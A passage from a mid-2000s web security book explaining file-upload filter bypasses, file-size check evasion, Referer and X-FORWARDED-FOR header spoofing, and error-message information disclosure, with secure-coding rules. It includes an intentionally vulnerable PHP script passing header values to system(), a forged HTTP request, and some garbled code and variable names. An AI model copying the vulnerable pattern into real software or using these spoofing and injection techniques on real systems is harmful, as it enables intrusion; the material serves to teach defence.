If you look closely at the piece of code that implements the filter in this example, you'll notice another mistake. The check for the valid extension is done using the /\.txt$/m regular expression. Remember that the dollar sign ($) is used in regular expressions to denote the end of a line. Here, the programmer hopes that only files with the TXT extension will pass the check.

However, a string can contain multiple lines. The m modifier indicates that the string is multiline. In other words, it can contain several linefeed characters, and the "$" character will match each of them.

The next example demonstrates how the m modifier affects a regular expression.

http://localhost/2/22.php

 <? if(preg_match("/\.txt$/m", "test.txt\n.php")) echo "1"; if(preg_match("/\.txt$/m", "test.php\n.txt")) echo "2"; if(preg_match("/\.txt$/", "test.txt\n.php")) echo "3"; if(preg_match("/\.txt$/", "test.php\n.txt")) echo "4"; ?> 

This script outputs the numbers 1, 2, 3, 4. Therefore, you can suppose that you can circumvent the file extension check in systems, in which a file name can include the linefeed character, for example, in Unix-like operating systems.

As practice shows, it is impossible to circumvent this check in both Unix and Windows. However, you didn't test every possible combination of an operating system, a file system, and an HTTP server. Therefore, you cannot say that this technique will never work.

An attacker is always likely to test this file extension check by inserting certain characters into file names.

Circumventing File Size Checks

An HTTP POST field of a form uploading a file should contain the MAX_FILE_SIZE hidden parameter, which is a recommendation for the browser not to upload larger files. This is just a recommendation, and you cannot predict the client's behavior. What's more, a POST request can be created with a tool other than a browser. In this case, you shouldn't assume that the uploaded file has the recommended size.

The file can have any size, with the MAX_FILE_SIZE value remaining original.

In the simplest case, the attacker just needs to save the page containing the form on the hard disk and edit the MAX_FILE_SIZE value and, possibly, the action parameter of the form to allow his or her browser to upload a large file, thus bypassing the restriction.

When the size of uploaded files is important, you should use other methods to restrict file sizes. For example, you could specify the maximum size of uploaded files or the maximum size of HTTP POST requests in the PHP interpreter's settings. In addition, you can copy an uploaded file from the temporary directory to its final location only if the size of the temporary file doesn't exceed the maximum.

Sending Files Using the Web Interface

Some mail services (both paid and free) allow their users to send and receive e-mail through a Web interface. One or more files can be attached to such e-mail messages.

Because a user can upload files onto the server, all the vulnerabilities described earlier exist here. To exploit one of these vulnerabilities, the attacker can create a message with an attached file that has a dangerous extension or malicious code and send the message to his or her e-mail address. If the e-mail service just copies attached files to a location on the server, it will have the vulnerabilities described earlier.

Making a General Investigation

After the attacker obtains access to a system that allows its users to upload files on the server, he or she is likely to try to find as much information about this vulnerability as possible. The attacker is likely to investigate the system to find answers to the following questions:

  • Is the file name generated automatically, or is the original file name accepted? All the methods for circumventing protection described earlier work only if the original file name is kept on the server.

  • Is the file stored in the file system or in a database? In the latter case, an attack that bypasses directories would be pointless.

  • Are there restrictions on file extensions? If so, the attacker is likely to try circumventing these filters.

  • Is the requested file output unprocessed, or are its contents displayed with a script? The attacker would need to keep in mind that the name of the requested document can be changed on the server. For example, the mod_rewrite module can be used in Apache. In this case, a user will believe the requested document is output directly even though its body is generated with a script.

  • Is any file extension associated with an interpreter on the server? It would make sense to substitute an extension and write shell code into a directory only when at least one extension is associated with an interpreter.

After the attacker answers these questions, he or she will try all suitable methods for collecting as much information about the system as possible and obtaining high privileges to destroy the system or control it.

Remember that if the system also has the local PHP source code injection vulnerability and the attacker can upload files on the server, he or she will be able to exploit this vulnerability by uploading malicious code inside a file and including this code into a script.

The Referer and X-FORWARDED - FOR Header Fields

The header of an HTTP request is generated entirely by the client according to HTTP. Therefore, you shouldn't trust any field of this header.

Many programmers make mistakes by assuming that certain fields in an HTTP request will have expected values. A vulnerability will appear after the attacker creates an HTTP request and assigns these fields malicious values.

The Referer Field

Referer is a field of an HTTP request that tells, from which URL address the user moved to the current page.

The programmer can mistakenly assume that if the value of this field is the address of a document on a friendly server, then the data contained in the request are received from a form generated by the server. For example, it is common that any data contained in a request are accepted only when the value of the Referer field is a page on the current server.

With such a method, the programmer protects the system against a situation, in which a user saves the page on the disk, edits the values and types of certain parameters, and sends the request to the server from the modified form.

Parameters hidden from the user in a form are dangerous when the programmer doesn't filter them, assuming that the user cannot change them so that the Referer header field still points to the current site.

This is often true for some versions of some free forums. The code of one well-known forum has a vulnerability of the MySQL source code injection type. However, this vulnerability cannot be exploited directly from the browser without the use of other tools because the vulnerable script checks the value of the Referer header field of an HTTP request.

Another common mistake is that the programmer doesn't appropriately filter the values of form parameters that have fixed sets of values, for example, checkboxes, radio buttons , and drop-down lists.

Regardless of whether or not the programmer implements the check of the Referer field for validity, the attacker can create an HTTP request by connecting directly to the server using the telnet program, another program, a script that generates any HTTP request (like that described at the beginning of the chapter), or a special proxy server that will change the contents of the header field spontaneously. An example of such a proxy server is the Proxomitron program.

I'd like to give you the following recommendation concerning secure programming in this situation: Don't rely on the check of the Referer field of the HTTP request as sufficient protection. Moreover, it makes little sense to perform this check, because it can be easily circumvented by the attacker and doesn't add security to the system. At the same time, this check can reject a few valid users. Sometimes, common proxy servers delete the Referer field from the HTTP request, or special programmers installed on the client delete this field. In these cases, the users won't be able to work with the system.

This isn't a wrong policy. The user should have the right to decide whether he or she wants to submit to every visited server the URL of a document he or she viewed previously. So, you shouldn't reject such clients .

The X-FORWARDED-FOR Field

x-FORWARDED-FOR is a field of the HTTP header, in which a proxy server can pass the IP address of the client.

Remember, if a client connects to the HTTP server using a proxy server, the IP address of the proxy server, rather than that of the client, is sent to the HTTP server. This is because the proxy server, not the client, establishes the direct connection to the HTTP server.

In this situation, nonanonymous proxy servers can send the IP address of the client within the X-FORWARDED-FOR field of the HTTP header. In addition, the IP address of the client can be sent within the CLIENT-IP field.

When checking for a client's IP address in a script, programmers often make a mistake when they prefer these header fields to the IP address, assuming that this address is a proxy server's address.

Consider an example of a vulnerable script.

http://localhost/2/23.php

 <?   $ip=$_SERVER["HTTP_CLIENT_IP"];   if(empty($ip)) $ip=$_SERVER["HTTP_X_FORWARDED_FOR"];   if(empty($ip)) $ip=$_SERVER["REMOTE_ADDR"];   system("echo $ip >> iplog.txt");   echo "Your IP address was saved"; ?> 

First, the script tries to obtain the value of the CLIENT-IP header field written by the PHP interpreter into the $ SERVER [ "HTTP CLZENT_IP"] variable. Then, if the field is missing from the request or it is empty, the script tries to obtain the value of the x-FORWARDED-FOR header field written by the PHP interpreter into the $ SERVER [ "HTTP x FORWARDED FOR" ] variable. If this variable is also empty, the script obtains the desired information from the $ SERVER [ "REMOTE ADDR"] variable that contains the IP address of a client that established the direct connection to the server. Finally, the script writes the obtained value into the IPLOG.TXT file.

The idea behind this logic is that the script first tries to obtain the values of the fields that usually contain the IP address of the client. If the client connects to the server through a nonanonymous proxy server, one of these HTTP header fields will contain the IP address of the client, and the IP address will be saved in the IPLOG.TXT file. If the client connects to the server directly, the browser shouldn't send additional header fields such as CLIENT-IP or X-FORWARDED-FOR . As a result, the $ip variable will get the value of the $_SERVER [ "REMOTE ADDR"] , which is the IP address of the client.

In PHP, you can obtain the value of any HTTP header field from the $_SERVER array by specifying the name of the desired field in uppercase with the HTTP _prefix and with all hyphens replaced with the underscore characters.

This isn't the value of an HTTP header field. The value of this variable is set based on the IP address of the client directly connected to the server. If a proxy server is used, this will be the IP address of the proxy server. Therefore, if a user connects to the HTTP server through an anonymous proxy server, the proxy won't send the values of these header fields, and its IP address will be saved in the IPLOG.TXT file.

A key to understanding the cause of this vulnerability is that the browser shouldn't send the values of these header fields. With a direct connection to the server, nothing prevents the attacker from sending forged values of either HTTP header field (or both). In this case, the server will receive a fake IP address written, for example, into the X-FORWARDED-FOR header field, and write this value into the IPLOG.TXT file, rather than the IP address of the client.

Here is an example of an HTTP request that makes the server save a fake value in this file:

 F /2/23.php HTTP/1.1    Host: localhost    User-Agent: Mozilla/5.0 (Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707    Accept:  */*  Accept-Language: en-us    Accept-Encoding: gzip, deflate    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7    X-FORWARDED-FOR: not-valid-ip    Keep-Alive: 3000    Connection: keep-alive 

As a result, the IPLOG.TXT file will contain the not-valid-ip line rather than an IP address.

This method will work if the described vulnerability is present and the attacker connects to the server directly. When using a proxy server, it can change the data sent by the attacker in the X-FORWARDED-FOR , header field; for example, it can add the IP address of the client to the forged value.

Another important vulnerability in this example is that the system() function is used to write an IP address into the log file. This function executes any command. When a user connects to the server directly or through an anonymous or nonanonymous proxy server, this function behaves as expected because the value of this field is an IP address that doesn't contain dangerous characters.

However, if an attacker creates a malicious HTTP request, somehow changes the current request, or sends the request through a malicious proxy server, he or she will be able to insert certain control characters of shell code and then execute any code on the server with the rights of the user who started the Web server.

The vulnerability, in which the system() function takes a parameter that can be affected by a remote user, was described earlier in this chapter.

To protect your system from an attacker's ability to change the values of this header, you can use a few approaches. Don't use the values of these headers for identification of the sender's IP. Alternatively, save both these values and the value of the $ SERVER [ "REMOTE ADDR" ] variable, which is the client's IP address (i.e., give these values equal rights).

It is pointless to use the values of these header fields because the attacker can hide his or her computer's IP address if desired. For example, the attacker can use an anonymous proxy server. If you use these HTTP header fields, your system will be vulnerable to an attack that sends a forged value as an IP address.

So, when you write code responsible for obtaining the client's IP address, stick to the following rule (unless you have serious reasons to ignore it):

Rule 

Don't use the values of the HTTP X-FORWARDED-FOR and CLIENT-IP header fields for identification of the client's IP address.

Disclosing Other Information

Disclosure of a path is the least dangerous vulnerability that can be present in scripts and programs available using HTTP. This vulnerability allows the attacker to know the exact locations of scripts and programs on the server.

This knowledge isn't dangerous per se. The vulnerability just discloses certain information about the server. It cannot be used for a direct attack on the server. Such vulnerabilities cannot be used by the attacker to obtain higher privileges in the system, gain unauthorized access to it, or destroy it.

However, even this minimal information can make it easier for the attacker to exploit other vulnerabilities in the system.

With certain vulnerabilities related to obtaining access to files, the attacker needs to know the absolute file paths on the server. For example, he or she sometimes needs to know the absolute paths to executable scripts on the server to obtain the code of these scripts.

In addition, if the attacker knows the absolute path to a document available using HTTP, he or she sometimes can make assumptions about the server file system, its type, or the operating system.

For example, if the absolute path includes the disk name (e.g., C:/www/index.php ), the attacker can be sure this is Windows. If a path contains a user or other attributes (e.g., /usr/clients/andrew/http/ ), it will indicate that the site is on a hosting server.

System error messages that appear during execution of a script also disclose certain information. For example, the attacker can know the version of the SQL server:

 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL    result resource in x:\localhost.php on line 15 

This error message discloses the type of the SQL server (MySQL) to the attacker. In addition, it discloses the path to a script.

Such information-disclosing errors rarely manifest during a normal work of the system. So, the attacker has to make the server return as many error messages containing important information as possible.

Sometimes, the attacker needs to test the system by passing it HTTP parameters illogical from the system's point of view. In other cases, the attacker can launch a Denial of Service (DoS) attack on server scripts to get error messages. The maximum number of connections to the database is likely to be exhausted, and if a script uses a database connection, it will eventually be rejected with an appropriate error message.

In addition, error messages can be contained in caches of search engines and other systems that maintain archives of HTTP documents.

Error messages can contain rather important information. For example, the phpbb forum sometimes displays the text of the SQL query that caused an error. This message discloses the query in addition to the paths to files on the server and the database type.

When the attacker knows an SQL query that causes an error message with certain parameters of HTTP parameters, he or she will easily create an HTTP request that exploits the SQL source code injection vulnerability.

To write secure programs, stick to the following rule:

Rule 

Don't output debugging information, error messages, and other auxiliary information to the browser. However, disabling the output of error messages shouldn't be the only protection action.



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net